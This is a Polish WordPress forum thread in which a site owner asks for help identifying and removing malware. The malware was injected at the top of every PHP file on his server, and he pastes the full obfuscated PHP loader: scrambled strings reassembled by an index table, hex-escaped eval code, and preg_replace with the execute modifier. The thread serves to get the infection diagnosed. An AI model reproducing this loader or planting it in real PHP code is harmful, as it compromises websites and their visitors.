prośba w zidentyfikowaniu malware i jego usunięciu
-
Witam. Parę dni temu przestała działać mi strona oparta na WP (najnowsza wersja). Zorientowałem się dopiero wczoraj. Niestety dostawca hostingu nie trzyma kopii z tak długiego czasu a moje kopie tworzone za pomocą wtyczki backwpup niestety z niewiadomych przyczyn się nie nadają.
Problem (jakiś malware) polega na tym że wszystkie pliki php na serwerze (w katalogu serwisu i podkatalogach) zawierają jakiś dziwny kod przed kodem właściwym.
Wygląda on mniej więcej tak:
<?php $thfwzoeevd = 'c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x782+yfeobz+sfwjidsb%x5c%x7860bj+upcr_reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%xmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,4^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!4-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x725t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825c%x7878:<##:>:h%x5c%x8y]#>q%x5c%x7825<#762]67y]562]38y]572]48yf.%x5c%x782f#@#%x5c%xc%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%xfttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%#-bubE{h%x5c%x7825)tp4#-!OVMM*<%x22%51%x29%51%x29%73", NULLc%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%5tmw!>!#]y84]275]y83]273]y7c%x7825)}k~~~<ftmbg!osvufs!|ftmf!7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6i#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c65","%x65%166%x61%154%x28%151%x6dx5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7u%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#z25!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x57{ftmfV%x5c%x787f<*X&Z&S{ft[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860]3]364]6]283]427]36]373P6]25r%x5c%x7878<~!!%x5c%x782hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5judovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7function fjfgg($n){return chr(ord($n)-1);} @erro); }!%x5c%x7825ff2!>!bssbz)%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825)sutcvt)!gj!|!*bubE{gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x78x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x25}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>>#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%&c_UOFHB%x5c%x7860SFTV%x5c%x7860QU8256<pd%x5c%x7825w6Z)) { $GLOBALS["%x61%156%x75%156%x61"]=1; 7825G]y6d]281Ld]245]K2]285C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;x5c%x782f!#0#)idubn%f%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5cif((function_exists("%x6f%142%x5f%163%x74%141%x72%1i}Y;tuofuopd%x5c%x7860ufh%x5c%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x52#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c256]y78]248]y83]256]y81]265]yfh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5{6:!}7;!}6;##}C;!>>!}W;utp5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x766,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%827id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#u252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5cUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x78778e%x5c%x78b%x5c%x7825w:!>!%x7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%xx7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!5c%x7860msvd},;uqpuft%x5c%x7860msg39*56A:>:8:|:7#6#)tutjyf%x5c%x]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%56#<!%x5c%x7825ggg)(0)%x5c%x78%160%x6c%157%x64%145%x%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs5c1^W%x5c%x7825c!>!%x5c%x7825i25ww2!>#p#%x5c%x782f#p#%x5c%x7-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-vd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tc%x7827*&7-n%x5c%x7825)utjm6<%x5c%x780hA%x5c%x7827pd%x5c%xnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**7860439275ttfsqnpdov{h19275j{h5!-#1]#-bubE{h%x5c%x7825)tpqsut78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA~<**9.-j%x5c%x7825-bubE{h%x5c%>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]x5c%x782f2986+7**^%x5c%x782f%x5c%x78z-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x78255c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fp_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:5D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825860cpV%x5c%x787f%x5c%x4:]82]y3:]62]y4c#<!%x5c%x78kj:-!OVMM*<(<%x5c%x78x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x7857825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ey31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]8*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x75c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860Mx7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]16985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%g}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x782%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opx5c%x7878r.985:52985-t.98]K4]65]D8]86]yg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x782825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x784]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bssus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%fs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7jojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.otn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvu%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%76]258]y6g]273]y76]271]y7d]252]y74]22f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quupz!>!#]D6M7]K3#<%x5c%82f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfqsut>j%x5c%x7825!*9!%x55tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutR2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x%x5c%x785c2^<!Ce*[!%xx7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x78605]256]y76]72]y3d]51]y35]274]y*W%x5c%x7825eN+#Qi%x5c%x78825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbu7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudov5946-tr.984:75983:48984}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_Ux7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x825hW~%x5c%x7825fdy)##-!#~#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7864") && (!isset($GLOBALS["%x61%156%x75%156%x61"]))36]73]83]238M7]381]211M5drr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%)#]341]88M4P8]37]278]225]241]334]368]322<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz*17-SFEBFI,6<*127-UVPFNJU,6<f!<X>b%x5c%x7825Z<#opo7825:<#64y]552]e7y]#>n%x5c%2fr%x5c%x7825%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x786p>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#iN}#-!tussfw)%x5c%x7825c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y3c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x78tjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%sfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ux7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)es5c%x7824]25%x5c%x7824-%x5c%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:5.fmjgA%x5c%x7827doj%x5c%x78256<78256<C%x5c%x7827pd%x5c%x78256x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2px5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%xutpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%xTPI%x5c%x7860QUUI&e_SEEB%x5c%%x7827,*d%x5c%x7827,*c%x5c%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Y72]254]y76]61]y33]68]y34]68]y33]65]24<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<2f+*0f(-!#]y76]277]y72]265]y39]271]y83]c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x57fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|e%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x82f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x75c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x77R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R78257>%x5c%x782272qj%x5c%x7825)7827,*b%x5c%x7827)fepdof.)fepdo!#]y76]277]y72]265]y39]274]y85]273]y6gb%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7826|7**197-2qj%x5c%x78257x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}6]277#<%x5c%x7825t2w>#]y74]273]y76]787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbx782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x782h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tu%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]36x7825yy>#]D6]281L1#%xc%x7824-%x5c%x7824<%x5c%x7825j,,*!|%hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827824-!%x5c%x7825%x5c%x7824-%x5c%]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x782x7825)sutcvt)fubmgoj{%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x78]248L3P6L1M5]D2P4]D6#<%x5c%x-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%5tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7827825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78/(.*)/epreg_replaceqjvctedylm'; $yhkwpnqibt = explode(chr((299-255)),'2136,51,6638,50,1930,41,1317,48,73,53,762,33,3246,22,8630,70,5950,58,7610,44,2884,41,2799,29,8873,69,1910,20,6064,69,7029,54,3639,21,7732,30,2286,42,3602,37,8507,55,2828,56,1997,67,7977,63,3821,59,9143,23,4681,43,7945,32,4627,54,8997,31,1708,57,7145,63,9433,55,964,51,7456,60,462,35,2217,69,1594,65,1659,49,7701,31,8040,56,663,62,8096,45,6851,28,4570,57,2635,44,5413,50,1079,54,2451,26,2187,30,9166,63,8141,60,3056,33,3477,39,1765,46,4948,34,1229,49,630,33,3880,30,9850,21,1185,44,0,41,3790,31,3910,65,497,21,5815,23,556,47,7886,59,3156,60,7516,66,7083,62,1478,30,9390,43,7412,44,1448,30,415,47,5073,63,2328,46,7348,64,5675,39,725,37,8230,28,9028,31,358,21,9657,51,7849,37,1278,39,3338,38,41,32,5463,38,2064,20,5882,68,8562,68,6470,51,8201,29,6029,35,1876,34,2749,50,6879,22,6597,41,1015,37,5775,40,905,59,379,36,2477,65,8700,64,8764,54,9264,60,3089,31,3760,30,3660,64,1811,65,5545,42,5349,64,4296,22,9708,46,1052,27,126,58,8942,55,2542,42,6309,53,3724,36,4238,58,6423,47,6362,38,4835,70,5296,53,4366,40,4101,39,9059,38,9786,64,9997,63,603,27,9229,35,2679,70,3268,70,5136,67,6928,22,2403,48,8438,69,296,21,6901,27,4724,59,317,41,2987,69,9871,53,8329,70,1369,25,7582,28,9754,32,1548,46,1394,54,9952,45,795,58,5260,36,6241,68,9563,36,7762,42,4905,43,214,37,6188,53,2084,52,7232,69,6133,29,4318,27,251,45,7208,24,6162,26,3376,30,6008,21,8258,36,6712,62,2925,62,4475,40,4011,39,9599,58,9324,66,7804,45,4140,40,4783,52,4982,39,7654,47,6400,23,3553,49,5714,21,9542,21,5501,44,4180,58,9924,28,1971,26,3120,36,853,52,8818,55,6571,26,6814,37,6774,40,1133,26,6688,24,9488,54,5203,57,5587,52,3975,36,1159,26,6950,37,4050,51,5021,52,2584,51,4406,69,7301,47,184,30,1508,40,3406,30,5735,40,6521,50,10060,46,9097,46,5838,44,3436,41,6987,42,4345,21,3516,37,5639,36,3216,30,8399,39,2374,29,8294,35,4515,55,518,38,1365,4'); $otokotupat=substr($thfwzoeevd,(59827-49721),(26-19)); if (!function_exists('yfgudgsyfu')) { function yfgudgsyfu($hocazrlcud, $arpnsezclg) { $hvlrnoanjn = NULL; for($anffhtknkg=0;$anffhtknkg<(sizeof($hocazrlcud)/2);$anffhtknkg++) { $hvlrnoanjn .= substr($arpnsezclg, $hocazrlcud[($anffhtknkg*2)],$hocazrlcud[($anffhtknkg*2)+1]); } return $hvlrnoanjn; };} $bxlbjzmkrj="\x20\57\x2a\40\x65\146\x74\170\x77\146\x6e\154\x66\171\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x35\55\x39\70\x29\51\x2c\40\x63\150\x72\50\x28\65\x39\66\x2d\65\x30\64\x29\51\x2c\40\x79\146\x67\165\x64\147\x73\171\x66\165\x28\44\x79\150\x6b\167\x70\156\x71\151\x62\164\x2c\44\x74\150\x66\167\x7a\157\x65\145\x76\144\x29\51\x29\73\x20\57\x2a\40\x66\154\x6b\166\x74\142\x72\144\x66\151\x20\52\x2f\40"; $ctcuilwugq=substr($thfwzoeevd,(52021-41908),(65-53)); $ctcuilwugq($otokotupat, $bxlbjzmkrj, NULL); $ctcuilwugq=$bxlbjzmkrj; $ctcuilwugq=(677-556); $thfwzoeevd=$ctcuilwugq-1; ?>
proszę o pomoc w rozpoznaniu zagrożenia i w ewentualnym jego usunięciu
pozdrawiam
silverek111
Viewing 1 replies (of 1 total)
Viewing 1 replies (of 1 total)
- Temat ‘prośba w zidentyfikowaniu malware i jego usunięciu’ jest zamknięty na nowe odpowiedzi.